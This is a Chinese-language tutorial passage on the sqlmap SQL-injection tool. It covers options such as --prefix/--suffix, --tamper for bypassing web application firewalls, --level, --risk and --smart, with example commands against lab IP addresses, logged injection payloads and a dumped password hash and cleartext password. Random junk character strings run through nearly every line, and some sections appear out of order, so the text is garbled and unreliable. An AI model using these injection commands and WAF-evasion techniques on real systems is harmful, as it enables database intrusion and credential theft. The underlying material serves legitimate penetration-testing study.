2 U2 |0 B8 R* j' G3 X3 }原因同上,可以指定id=13把原来的id=-13的报错改成id=13 AND 18=19。. c9 u0 a) q- c$ H- @
注入payload + v2 a/ k# x0 r9 m% t' A1 k4 u& X4 y% a
参数:--prefix,--suffix # R* d; {2 p) C- l: |% _+ d8 `: b- u b: l2 V0 ]% S/ L
在有些环境中,需要在注入的payload的前面或者后面加一些字符,来保证payload的正常执行。; ~" c, L3 ]7 {
. c, J. W0 Q/ J x/ X: L& d' @* @
例如,代码中是这样调用数据库的:* c5 J5 l3 X! I+ y4 e
7 R1 a3 Z. ? _8 h- q! a$ Y$query = "SELECT * FROM users WHERE id=(’" . $_GET[’id’] . "’) LIMIT 0, 1"; % \& G" l/ F; H+ z 8 g4 m* B1 B& M$ t, a这时你就需要--prefix和--suffix参数了: ) m' _9 ~ p3 h7 Z+ _8 x3 w0 w) e' V9 T6 C- F3 v$ d
python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_str_brackets.php?id=1" -p id --prefix "’)" --suffix "AND (’abc’=’abc" % T! Q! r q8 y" F$ m+ f8 G& r. f; K, G3 Q" i
这样执行的SQL语句变成: . I* W! m4 O" \" T- j7 d2 S: ?5 z% f' W" h5 ]. j: }
$query = "SELECT * FROM users WHERE id=(’1’) <PAYLOAD> AND (’abc’=’abc’) LIMIT 0, 1"; ; N" f7 F* J5 j' C, b. g3 g
( G( |+ q$ |* C% y! ?) l4 g) h( h# A
修改注入的数据9 O+ M, P! X$ a+ y
/ ?( i& g' D$ L) n
参数:--tamper 5 U1 U l9 L. n5 N0 n3 L2 W: q2 ?' x+ {. T
sqlmap除了使用CHAR()函数来防止出现单引号之外没有对注入的数据修改,你可以使用--tamper参数对数据做修改来绕过WAF等设备。& j% l3 v& ]1 X( J# z
" p) s% A' I/ `2 S) Z下面是一个tamper脚本的格式:1 b3 J* r+ v" E. k+ |) J
. Y- b. A S: B- p
# Needed imports0 S% e2 }" X g
from lib.core.enums import PRIORITY ! j+ q# U1 \+ @# Define which is the order of application of tamper scripts against8 X4 C. F9 n- j7 J, e
# the payload! a* a8 J [- P* e5 s; J; h2 o2 E( {
__priority__ = PRIORITY.NORMAL 6 e& E! S. c0 k ~& s) P8 `6 K% gdef tamper(payload): 6 m5 ~# O7 N/ E1 W# r '''% C8 ~$ I2 Z: o6 Z
Description of your tamper script ( A: e& } Y, w3 W- z '''+ n, G+ N; C; f; v
retVal = payload 9 @% _' G6 j+ d& Y, a3 K h( s # your code to tamper the original payload6 e5 k9 \( i. T Y
# return the tampered payload6 o( z; ?' P% u
return retVal/ ^& b& k& t4 a {/ C
0 U, z0 n3 f% ^5 |/ k; `4 R
可以查看 tamper/ 目录下的有哪些可用的脚本 & t% n* p5 [, {: @( T! p1 v! O% }) [/ p) \- j
例如:* ~- `* [2 b. N: e9 ^* Q
$ w) @- N+ ?* m- i |" o$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_int.php?id=1" --tamper tamper/between.py,tamper/randomcase.py,tamper/space2comment.py -v 3% B( M& m0 t9 x/ L$ o0 ~; W5 H
0 h' ~5 H/ {! r% ~
[hh:mm:03] [DEBUG] cleaning up configuration parameters* M! q: r. [3 {/ V0 _, E
[hh:mm:03] [INFO] loading tamper script 'between' & N$ w: D2 T& D% P( k" T- b! y' y' d[hh:mm:03] [INFO] loading tamper script 'randomcase' ! v6 {/ d/ S& n) @& z1 ~7 {: n5 O0 s[hh:mm:03] [INFO] loading tamper script 'space2comment'; ^" i; R! ~0 M' Y2 r, H6 S& ~) ^
[...]/ y' U- K- ~$ V3 h4 j
[hh:mm:04] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' $ U0 M b6 d2 v% p[hh:mm:04] [PAYLOAD] 1)/**/And/**/1369=7706/**/And/**/(4092=40928 W( A$ y8 k. t
[hh:mm:04] [PAYLOAD] 1)/**/AND/**/9267=9267/**/AND/**/(4057=4057 ; K; v3 l0 h% R[hh:mm:04] [PAYLOAD] 1/**/AnD/**/950=7041 - R4 c7 [3 r1 Q4 m[...] ! ^5 ?0 y3 T, E# x: B* P[hh:mm:04] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause' 2 d% j7 R' N& J$ h" A# T0 _( m[hh:mm:04] [PAYLOAD] 1/**/anD/**/(SELeCt/**/9921/**/fROm(SELeCt/**/counT(*),CONCAT(cHar(" L' _* n8 q( t+ j2 g& F ^. t
58,117,113,107,58),(SELeCt/**/(case/**/whEN/**/(9921=9921)/**/THeN/**/1/**/elsE/**/0/**/ * ?, {8 D& |, B. QENd)),cHar(58,106,104,104,58),FLOOR(RanD(0)*2))x/**/fROm/**/information_schema.tables/**/4 z) s7 {0 g* V7 P' Q- l
group/**/bY/**/x)a)$ H9 b- s3 `6 G6 H% K G" K/ h
[hh:mm:04] [INFO] GET parameter 'id' is 'MySQL >= 5.0 AND error-based - WHERE or HAVING , K8 R* `: l* R$ F: Rclause' injectable h# J w* N e- |* a2 f[...]6 y% U" P& k2 q3 ]9 T% U; P. @
8 ~4 \# o6 h6 t- w; r. ?% f探测 ! F8 X, e2 f B7 T探测等级 - |2 i8 g5 g: |3 b. z$ A% C" x5 T# d8 n* ?
参数:--level 7 F& w) D2 L; v% G" |1 ]: N) l7 T4 m
共有五个等级,默认为1,sqlmap使用的payload可以在xml/payloads.xml中看到,你也可以根据相应的格式添加自己的payload。 7 D. {- N. t' o, e' z( t1 g 3 f$ C" ^0 }9 l: t7 ?; V这个参数不仅影响使用哪些payload同时也会影响测试的注入点,GET和POST的数据都会测试,HTTP Cookie在level为2的时候就会测试,HTTP User-Agent/Referer头在level为3的时候就会测试。% {6 U" B, a8 K; c" ~5 i
$ s0 q! l& G3 K0 \, g0 F
总之在你不确定哪个payload或者参数为注入点的时候,为了保证全面性,建议使用高的level值。 G- H7 W. q& s- U风险等级$ l3 w: k; v& }* \) A
) z* _3 U* Y7 L" r) ] B% I4 y
参数:--risk8 x) V8 c6 I5 S! D
: c! ^. j+ i3 H& B' v- A4 m
共有四个风险等级,默认是1会测试大部分的测试语句,2会增加基于事件的测试语句,3会增加OR语句的SQL注入测试。 9 l! e6 [3 |, M" o4 j 3 T) }, n) X& O6 c在有些时候,例如在UPDATE的语句中,注入一个OR的测试语句,可能导致更新的整个表,可能造成很大的风险。, A6 H! m% a5 J+ y7 R% V- l Q
$ x/ Z$ m* I) U测试的语句同样可以在xml/payloads.xml中找到,你也可以自行添加payload。 # S7 ?0 c" \% C0 P7 \2 S# E( m页面比较 0 q9 _6 v. c1 v+ V6 {* u, K: B- Y- N$ v7 z$ ]) i2 A
参数:--string,--not-string,--regexp,--code ( n9 k1 v4 n% Y* `! n }8 i- h6 O7 v9 E7 q
默认情况下sqlmap通过判断返回页面的不同来判断真假,但有时候这会产生误差,因为有的页面在每次刷新的时候都会返回不同的代码,比如页面当中包含一个动态的广告或者其他内容,这会导致sqlmap的误判。此时用户可以提供一个字符串或者一段正则匹配,在原始页面与真条件下的页面都存在的字符串,而错误页面中不存在(使用--string参数添加字符串,--regexp添加正则),同时用户可以提供一段字符串在原始页面与真条件下的页面都不存在的字符串,而错误页面中存在的字符串(--not-string添加)。用户也可以提供真与假条件返回的HTTP状态码不一样来注入,例如,响应200的时候为真,响应401的时候为假,可以添加参数--code=200。 6 ^5 j0 Z, P+ j# }8 D + x) E0 X$ W' T) k9 ~ |/ w参数:--text-only,--titles - _5 w9 N& P1 e6 `. K8 Y5 l. x0 }( Z9 Z6 n
有些时候用户知道真条件下的返回页面与假条件下返回页面是不同位置在哪里可以使用--text-only(HTTP响应体中不同)--titles(HTML的title标签中不同)。6 I- ^0 R g% j, ?/ ^: u; F
注入技术* a/ v' F* B2 d1 W1 J- z L
测试是否是注入7 r# o4 E1 z/ C4 D, n! S0 S
& Q6 J/ b& x& o) s" \1 m' m
参数:--technique * p, v+ p6 ]) {% } ( k+ s& O. [' o2 |$ ^* P这个参数可以指定sqlmap使用的探测技术,默认情况下会测试所有的方式。# T2 C% u( o. V: H" t* E
testuser [1]: + | h) h, S; s. E+ t+ N6 H; n2 S. x: N4 x password hash: md599e5ea7a6f7c3269995cba3927fd0093, q# F1 `) c c/ |. l
clear-text password: testpass4 f! a7 F! S' O0 T, r+ e
" R* Z# } L7 }* J+ F7 E1 h可以看到sqlmap不仅勒出数据库的用户跟密码,同时也识别出是PostgreSQL数据库,并询问用户是否采用字典爆破的方式进行破解,这个爆破已经支持Oracle和Microsoft SQL Server。 M) C+ b2 g. t1 c1 I/ \
. G( C. ?& |: y" h5 a1 ~+ u
也可以提供-U参数来指定爆破哪个用户的hash。 5 `$ b) }4 @5 {( g列出数据库管理员权限9 G6 a) d1 U, q7 ~# V
$ K" I* q& W0 @
参数:--privileges * }6 W3 T* Q5 B. L 8 T* i# b$ \. ?0 j当前用户有权限读取包含所有用户的表的权限时,很可能列举出每个用户的权限,sqlmap将会告诉你哪个是数据库的超级管理员。也可以用-U参数指定你想看哪个用户的权限。 0 s# f& N4 K- _2 g列出数据库管理员角色 5 n& y) K) t S1 n1 N - y$ g- B& X7 v* x参数:--roles% f& R0 u& G, A- Q, z: g, r* O. Z
3 A# F8 h9 k* m q+ ?例如Oracle的布尔型盲注: - i* l( y: T' U' I( }. o& C3 E7 d1 ^+ c3 K1 W- e) Z
$ python sqlmap.py -u "http://192.168.136.131/sqlmap/oracle/get_int_bool.php?id=1" -b --eta ) U. \1 A2 ?* o/ ]- Y5 r9 o3 B( I/ p0 M( s) w* P
[...] : b8 o- C- v: P. h! m. H[hh:mm:01] [INFO] the back-end DBMS is Oracle/ x4 j) l0 l+ q0 @; G. p, R Z, X3 x
[hh:mm:01] [INFO] fetching banner . q2 u; _8 b, m9 ~6 ~' t& x[hh:mm:01] [INFO] retrieving the length of query output $ ~. w: j: }! ~! i[hh:mm:01] [INFO] retrieved: 64 ' [- r+ W& u, Q7 t4 j1 A17% [========> ] 11/64 ETA 00:19 8 v) E* K" N( l+ q3 U7 j! s $ ^* c6 a! \- u然后: ' c6 G: P$ y1 b: N. G ^$ y% V5 U. y6 G6 ]: Y2 d100% [===================================================] 64/641 t8 n5 z0 C9 p6 J" l6 ?4 V
[hh:mm:53] [INFO] retrieved: Oracle Database 10g Enterprise Edition Release 10.2.0.1.0 - Prod5 D. b/ ^8 k# ^ L; ^& O
2 d. J. _5 s& @
web application technology: PHP 5.2.6, Apache 2.2.9 ) F& M. P0 \2 X" T( l; Sback-end DBMS: Oracle ; Z0 p0 G' f/ n& Lbanner: 'Oracle Database 10g Enterprise Edition Release 10.2.0.1.0 - Prod'2 b' m4 v5 S9 m- L
% U! J5 ?* L- |( T8 a! v6 I/ hsqlmap先输出长度,预计完成时间,显示百分比,输出字符 5 s* W; b+ ?( w, s+ ~刷新session文件 + \8 V2 ]4 p c3 j$ b3 y2 K9 Y; o1 K6 N- l' H
参数:--flush-session3 D8 y& F# \1 ^# A+ A: E
8 |- n; ^$ O5 |) N2 x% w' F4 S
如果不想用之前缓存这个目标的session文件,可以使用这个参数。 会清空之前的session,重新测试该目标。 w% G, K; ]" e自动获取form表单测试+ l) U' k$ G7 @. s m0 K
3 ~& u( v' G1 w" r: F; V5 B5 u x+ t
参数:--forms ; }: V( D% @. H) I9 ~/ W" O0 o+ h6 ]: h, H) L8 b Z5 z; K
如果你想对一个页面的form表单中的参数测试,可以使用-r参数读取请求文件,或者通过--data参数测试。 但是当使用--forms参数时,sqlmap会自动从-u中的url获取页面中的表单进行测试。 8 L" Y) T( \' ?+ S; w! T- [忽略在会话文件中存储的查询结果 2 i. O, ~9 y# k; G 3 F2 m$ K% e( Q' P6 Z( U. h参数:--fresh-queries% O4 z" a" I" a3 \; h
D, \' F+ [* p6 P+ Q7 B6 V$ ?+ J* N
忽略session文件保存的查询,重新查询。1 S2 \+ S+ O4 |: D
使用DBMS的hex函数" i1 Q$ a l8 ] ~$ `& l
: F" q' w$ s- R$ m2 `% W2 U参数:--hex $ \0 X1 r4 n) }1 B* _+ F9 I$ {0 {7 I' ^/ z$ r0 [- ^$ [
有时候字符编码的问题,可能导致数据丢失,可以使用hex函数来避免:* C* G! I7 }) p7 ]1 s4 m6 H. J8 h
1 X, s [$ u( N* a, w
针对PostgreSQL例子: ) N+ B3 n1 X( Y1 c8 S& I& Z9 F. d6 H" o! Q/ b
$ python sqlmap.py -u "http://192.168.48.130/sqlmap/pgsql/get_int.php?id=1" --banner --hex -v 3 --parse-errors/ a- \( Z2 `9 Y9 g8 R
. B* v/ U: \' p! B' `" |. I+ S4 X
[...]( A4 v" A' C3 {9 A' V
[xx:xx:14] [INFO] fetching banner1 d7 D+ ]* i; K3 G/ r+ r
[xx:xx:14] [PAYLOAD] 1 AND 5849=CAST((CHR(58)||CHR(118)||CHR(116)||CHR(106)||CHR(58))||(ENCODE(CONVERT_TO((COALESCE(CAST(VERSION() AS CHARACTER(10000)),(CHR(32)))),(CHR(85)||CHR(84)||CHR(70)||CHR(56))),(CHR(72)||CHR(69)||CHR(88))))::text||(CHR(58)||CHR(110)||CHR(120)||CHR(98)||CHR(58)) AS NUMERIC)8 ^ h1 u( k' O: J- D! f
[xx:xx:15] [INFO] parsed error message: 'pg_query() [<a href='function.pg-query'>function.pg-query</a>]: Query failed: ERROR: invalid input syntax for type numeric: ":vtj:506f737467726553514c20382e332e39206f6e20693438362d70632d6c696e75782d676e752c20636f6d70696c656420627920474343206763632d342e332e7265616c202844656269616e2032e332e322d312e312920342e332e32:nxb:" in <b>/var/www/sqlmap/libs/pgsql.inc.php</b> on line <b>35</b>' 7 H! B% [% r ?8 g: `/ _0 L8 y% Q[xx:xx:15] [INFO] retrieved: PostgreSQL 8.3.9 on i486-pc-linux-gnu, compiled by * |9 N! ?- ^! Q v; I1 OGCC gcc-4.3.real (Debian 4.3.2-1.1) 4.3.2 - N$ |# x' j5 k' Z- B! m+ y1 a[...]% G7 y/ @/ e. {, S# e2 Y: g
; F# z6 R8 S- z
自定义输出的路径 : } W8 m V1 o: L1 B 1 f2 a/ w7 N1 v X: g( R9 C; x参数:--output-dir 3 q- M$ X. X8 m ' i7 x3 F! c5 j( ^sqlmap默认把session文件跟结果文件保存在output文件夹下,用此参数可自定义输出路径 例如:--output-dir=/tmp ) X) T# c, r- ?& R) {从响应中获取DBMS的错误信息 1 g+ L8 S) {8 u1 p2 Z5 n/ i$ H0 v1 B8 c, O M3 j4 V" d; n6 m; @
参数:--parse-errors ' ]7 C* f# c9 ? o2 b/ V" Q: G( R" g* D. z+ N2 E# o
有时目标没有关闭DBMS的报错,当数据库语句错误时,会输出错误语句,用词参数可以会显出错误信息。; d# Q, J6 w9 k5 |8 m: v1 ?
( n5 J' q+ C% R3 y% y1 z% O1 m$ python sqlmap.py -u "http://192.168.21.129/sqlmap/mssql/iis/get_int.asp?id=1" --parse-errors; [% v9 C! N$ C
[...] + C4 b. b& ^0 n$ S. W. b[11:12:17] [INFO] ORDER BY technique seems to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test3 }6 D" I s$ E1 {$ p# }+ J5 ]
[11:12:17] [INFO] parsed error message: 'Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)( y8 M7 Q% R) {+ o7 ~8 Z
[Microsoft][ODBC SQL Server Driver][SQL Server]The ORDER BY position number 10 is out of range of the number of items in the select list. ) k& H d. e& i- X: Z<b>/sqlmap/mssql/iis/get_int.asp, line 27</b>' % F0 D. u n. `3 }* Y: {8 C[11:12:17] [INFO] parsed error message: 'Microsoft OLE DB Provider for ODBC Drivers (0x80040E14) " L0 O( ^: y, O8 I7 J& q @[Microsoft][ODBC SQL Server Driver][SQL Server]The ORDER BY position number 6 is out of range of the number of items in the select list.6 N: X* u* A6 {" m0 O
<b>/sqlmap/mssql/iis/get_int.asp, line 27</b>'& i! o1 F8 J0 x' [1 u
[11:12:17] [INFO] parsed error message: 'Microsoft OLE DB Provider for ODBC Drivers (0x80040E14) ' |3 |! j* a1 _! `) q& s[Microsoft][ODBC SQL Server Driver][SQL Server]The ORDER BY position number 4 is out of range of the number of items in the select list. 9 O+ Y- I3 x+ ~" S<b>/sqlmap/mssql/iis/get_int.asp, line 27</b>' 1 ^3 ~; N# d% O+ I& n5 x: e[11:12:17] [INFO] target URL appears to have 3 columns in query : @2 |% K+ \8 m5 c+ M) k[...]& j% { n4 C9 s& d3 B$ V1 X7 `
: I X& T) N) x. H其他的一些参数4 ]8 N3 M: \& [' _1 s8 i% a
使用参数缩写: @6 k6 D4 }2 s9 b: W
2 Z2 D% x8 a" n% N4 Y8 I( z; r% f. |当希望sqlmap提出输入时,自动输入自己想要的答案可以使用此参数: 例子:7 K9 e) f+ a1 L7 I
& I& p; p: _# w
$ python sqlmap.py -u "http://192.168.22.128/sqlmap/mysql/get_int.php?id=1"--technique=E --answers="extending=N" --batch8 ^3 j4 q+ t. C$ r. [6 ^ d
[...] 7 w& }7 W, Q; C& |; D[xx:xx:56] [INFO] testing for SQL injection on GET parameter 'id'$ b3 `% v' @ f5 B% d, |
heuristic (parsing) test showed that the back-end DBMS could be 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y+ {6 i& j3 | R; v9 ?+ A
[xx:xx:56] [INFO] do you want to include all tests for 'MySQL' extending provided level (1) and risk (1)? [Y/n] N+ R" |9 A4 z2 b8 R) E
[...]0 ~- U$ A9 u3 K/ a0 R C/ ]4 r2 x
# m, M! E0 ?. s: I$ python sqlmap.py -u "http://192.168.21.128/sqlmap/mysql/get_int.php?id=1" --identify-waf -v 3 + |5 a' h9 L9 t9 R; r[...]' p: L/ x% X' X3 k2 U/ A
[xx:xx:23] [INFO] testing connection to the target URL( B5 S' c! z( a9 \/ p7 I: l
[xx:xx:23] [INFO] heuristics detected web page charset 'ascii'; z3 k5 k# o% q! w
[xx:xx:23] [INFO] using WAF scripts to detect backend WAF/IPS/IDS protection 3 l% }. j* ]* o1 `& r: X1 i[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'USP Secure Entry Server (United Security Providers)' 4 e2 s( E, S) T8 P8 o3 a/ \1 P[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'BinarySEC Web Application Firewall (BinarySEC)'/ f* P1 B$ m7 ?8 B+ F F1 I% n* e
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'NetContinuum Web Application Firewall (NetContinuum/Barracuda Networks)'1 T! `( D \( u2 |
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'Hyperguard Web Application Firewall (art of defence Inc.)'& z' h2 V5 e9 B! F
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'Cisco ACE XML Gateway (Cisco Systems)'9 \& {6 i7 W; N
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'TrafficShield (F5 Networks)' - i3 C4 p7 ]+ f! S; N% a* K[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'Teros/Citrix Application Firewall Enterprise (Teros/Citrix Systems)' ]5 \& H: l" O! ?/ f% ~
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'KONA Security Solutions (Akamai Technologies)'8 X, L- F7 |6 C9 c1 Q0 a
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'Incapsula Web Application Firewall (Incapsula/Imperva)'1 A/ H( {0 _. w6 J! _# ?
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'CloudFlare Web Application Firewall (CloudFlare)' 2 f* H/ D+ w/ S7 F. `8 U[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'Barracuda Web Application Firewall (Barracuda Networks)' ! L3 l4 X: d6 j4 w) I[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'webApp.secure (webScurity)'% V. v/ F2 |% a6 j4 i& ?
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'Proventia Web Application Security (IBM)'( v2 t/ r% Y) D) z# u. M
[xx:xx:23] [DEBUG] declared web page charset 'iso-8859-1'/ e( c9 I' G' j; c) @
[xx:xx:23] [DEBUG] page not found (404) 7 u. Y- @. S) O[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'KS-WAF (Knownsec)'7 r; N3 p s% Y7 f4 ^
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'NetScaler (Citrix Systems)' 8 t, l# r$ }' q9 ?[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'Jiasule Web Application Firewall (Jiasule)' ; i _0 W0 ?# f3 A2 B: |[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'WebKnight Application Firewall (AQTRONIX)' 4 N0 {0 o/ ^8 B$ _, p' W. c% B[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'AppWall (Radware)'1 {/ j: N, ]: p' {
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'ModSecurity: Open Source Web Application Firewall (Trustwave)') b, a/ f" q& s" N
[xx:xx:23] [CRITICAL] WAF/IDS/IPS identified 'ModSecurity: Open Source Web Application Firewall (Trustwave)'. Please consider usage of tamper scripts (option '--tamper') # i# N. m, }: l[...]) U4 U) D3 {, }8 D* A/ i
( s, F5 P# Y/ w) {模仿智能手机# ^# T2 n5 t" k
: J# a4 d" d& A, @2 c5 n参数:--mobile, m7 G# E* @8 n d& C) h
4 @8 |1 k4 d9 U& L5 x5 S9 l有时服务端只接收移动端的访问,此时可以设定一个手机的User-Agent来模仿手机登陆。 ) D8 x0 u6 l+ y' f2 P' w6 |: ^ # ^ N* l# A9 n# f7 x# H例如: 0 X/ i" E' r; p+ E7 k, I ) b2 r7 ?$ j% {- Z$ d$ python sqlmap.py -u "http://www.target.com/vuln.php?id=1" --mobile8 ~4 `1 [, E! ^; @
[...] Q: y+ L: x# F. k8 R* m# p
which smartphone do you want sqlmap to imitate through HTTP User-Agent header?3 i; { V, j+ q: X
[1] Apple iPhone 4s (default)8 C ~: r4 @# x2 j' O+ s4 U
[2] BlackBerry 9900; X) K3 {) {9 W6 }1 K" [
[3] Google Nexus 7 , ?, M) s9 l& z4 Q! M# \[4] HP iPAQ 6365, U, I+ j3 K1 e9 W$ `
[5] HTC Sensation ) k& _: n/ j# A" Y/ s& \[6] Nokia N97 $ P" d/ r& b9 W' h a" W M[7] Samsung Galaxy S ( R2 @% H* a/ N! z> 13 T9 m1 T2 L0 j; l, @6 ?
[...] # e; P# M5 b# @7 J+ I5 F6 G- B" u: I7 v- W9 l/ `8 u7 |$ N
安全的删除output目录的文件8 d# M3 e* ^# q2 ]
5 R1 w. | S( g. _$ b3 s- L: O4 ?% U) C
参数:--purge-output ' J7 h/ t5 {: l. z& M7 T( @ ' a6 b* q& z. T有时需要删除结果文件,而不被恢复,可以使用此参数,原有文件将会被随机的一些文件覆盖。- p% g9 w' I( _; u4 I# J
# z+ r8 Y7 A& S. w
例如:- A6 _% I, c. N, f, M9 x" g' W
. p8 {8 }3 y }5 I2 {
$ python sqlmap.py --purge-output -v 3 : z6 l8 H" Q' w2 M+ Z1 B2 I9 _; [) k[...] , t. x( Q/ a7 U" u# v[xx:xx:55] [INFO] purging content of directory '/home/user/sqlmap/output'... ; m- S& y, b& L& V* f. K7 O[xx:xx:55] [DEBUG] changing file attributes " V X3 A, n7 Z; Z5 N[xx:xx:55] [DEBUG] writing random data to files$ V1 M0 \- f. r u( v4 U
[xx:xx:55] [DEBUG] truncating files( F& n5 y1 D! m5 J% d9 I
[xx:xx:55] [DEBUG] renaming filenames to random values4 r7 m ^; [+ \7 h
[xx:xx:55] [DEBUG] renaming directory names to random values3 h6 H7 J$ \6 [+ i7 Y! W* V
[xx:xx:55] [DEBUG] deleting the whole directory tree ' H9 j) P) m1 D% S# @/ Q6 Z[...]: n/ P/ [6 ]) W* o/ ?- H
' }9 o% ]9 E' H" |8 w. t: b6 ^启发式判断注入! k4 o0 G& A: D0 u
. m# `/ ~! t6 |) w1 t2 g
参数:--smart 1 ]# \% I; r5 U3 j; S + z$ e! H4 J. ?3 u9 _: g* L$ C有时对目标非常多的URL进行测试,为节省时间,只对能够快速判断为注入的报错点进行注入,可以使用此参数。' w7 b0 ~, O( b1 y* s
( Z" U$ \0 n# T# B* }例子: 6 G/ f* n! L7 D; {5 R& D7 k% Q" I z: }
$ python sqlmap.py -u "http://192.168.21.128/sqlmap/mysql/get_int.php?ca=17&user=foo&id=1" --batch --smart( I; x& r. m9 V
[...]2 j/ |/ Q/ Y: y6 M& r# t2 H
[xx:xx:14] [INFO] testing if GET parameter 'ca' is dynamic 9 l: @( k) Y q# ~0 P/ u[xx:xx:14] [WARNING] GET parameter 'ca' does not appear dynamic4 n# F# |/ f0 }
[xx:xx:14] [WARNING] heuristic (basic) test shows that GET parameter 'ca' might not be injectable' r% S7 N, Q0 u7 o+ O2 W: b2 l
[xx:xx:14] [INFO] skipping GET parameter 'ca' 0 U& i1 V2 n$ Z7 A! M[xx:xx:14] [INFO] testing if GET parameter 'user' is dynamic( F- f8 l* E0 y0 \
[xx:xx:14] [WARNING] GET parameter 'user' does not appear dynamic5 \4 L% D7 ?) [1 _. V' i
[xx:xx:14] [WARNING] heuristic (basic) test shows that GET parameter 'user' might not be injectable . G: n( h+ S7 U5 C7 m! C0 _8 I[xx:xx:14] [INFO] skipping GET parameter 'user'/ V' ^3 d7 n9 K- h0 G- m: U
[xx:xx:14] [INFO] testing if GET parameter 'id' is dynamic ( \4 p) I) K& @[xx:xx:14] [INFO] confirming that GET parameter 'id' is dynamic + v g, u6 Y# z7 j( x1 {[xx:xx:14] [INFO] GET parameter 'id' is dynamic $ b* D2 v7 l6 w7 [" p) c; I2 K2 q[xx:xx:14] [WARNING] reflective value(s) found and filtering out* t% s4 L# f A6 x/ }( Y2 M
[xx:xx:14] [INFO] heuristic (basic) test shows that GET parameter 'id' might be injectable (possible DBMS: 'MySQL') , @6 E% k' K! O7 Z! w ]7 h[xx:xx:14] [INFO] testing for SQL injection on GET parameter 'id' 7 b b0 H( M$ y; ]; k" n2 Xheuristic (parsing) test showed that the back-end DBMS could be 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y , [8 g$ P0 Y; p+ G( F& Bdo you want to include all tests for 'MySQL' extending provided level (1) and risk (1)? [Y/n] Y $ N9 P5 j; H# K$ }6 M5 R[xx:xx:14] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'6 a7 m# R' J) K8 _1 H9 X" d& U
[xx:xx:14] [INFO] GET parameter 'id' is 'AND boolean-based blind - WHERE or HAVING clause' injectable , r1 o6 L% A" v; s[xx:xx:14] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause' % D5 n4 p* W. W5 z2 e[xx:xx:14] [INFO] GET parameter 'id' is 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause' injectable 0 t/ O3 S0 x$ Z$ ^# u7 i* N
[xx:xx:14] [INFO] testing 'MySQL inline queries' - L+ G! v) u$ W* o[xx:xx:14] [INFO] testing 'MySQL > 5.0.11 stacked queries'" b! J6 t# F3 N, L* t9 Z
[xx:xx:14] [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query)'' u5 _. e% v7 V/ S! y
[xx:xx:14] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'2 O4 \, o$ `- V% Q9 Q9 `: h
[xx:xx:24] [INFO] GET parameter 'id' is 'MySQL > 5.0.11 AND time-based blind' injectable 1 P0 L' }) M# s l3 \[xx:xx:24] [INFO] testing 'MySQL UNION query (NULL) - 1 to 20 columns' 1 h5 ^# Y' Z( R, ~[xx:xx:24] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other potential injection technique found ; F% ~2 l( W1 T* g7 m6 M[xx:xx:24] [INFO] ORDER BY technique seems to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test! i& [8 q' E5 O7 |, ]& ], a
[xx:xx:24] [INFO] target URL appears to have 3 columns in query3 X0 L/ _3 J. M$ q% W. X4 Z
[xx:xx:24] [INFO] GET parameter 'id' is 'MySQL UNION query (NULL) - 1 to 20 columns' injectable( ~' y7 K+ Y, i. N2 {
[...]) u, K- X2 n4 J( a# _
+ s7 [- E4 ^! R G
初级用户向导参数; S! V$ _" Y3 \% y9 ~! Y
4 z! O4 ?3 }" O8 `参数:--wizard 面向初级用户的参数,可以一步一步教你如何输入针对目标注入。 - b j6 H. [7 {- H! q 0 z& ]5 D q6 q$ python sqlmap.py --wizard% U9 u9 |' M, \5 F: X3 A& @7 h
: @/ `& M" b, I- L9 S! Z# y% V" f# j sqlmap/1.0-dev-2defc30 - automatic SQL injection and database takeover tool; U& }5 H) P& |
2 {5 n( Z }( r- {, ?
http://sqlmap.org 5 z, D! T w( ]& ] : B( H4 D! g% p1 d- @4 E[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program, h, U9 E3 u, l# Y# y/ ?: h; P
starting at 11:25:26/ `6 v$ i/ n6 L! { r
0 Z2 V# K( d; {5 S S/ {, |0 {8 }8 \! y. }
Please enter full target URL (-u): http://192.168.21.129/sqlmap/mssql/iis/get_int.asp?id=1; G: b5 }% j5 `4 H( E$ P* [
POST data (--data) [Enter for None]: + v. Z- H, q4 T; t. Q6 [% [8 k
Injection difficulty (--level/--risk). Please choose: 0 }+ l% B% A: `3 B- Q[1] Normal (default) , l8 m o: ~( y4 B, l- d[2] Medium ! u. a7 }: y, H# {[3] Hard: q# Y0 f5 F1 _) m8 U# H/ u. o
> 1) I' ^" H! N4 t- x5 q V
Enumeration (--banner/--current-user/etc). Please choose: ' a' [# D: [$ L[1] Basic (default)' n! d2 W. C" @
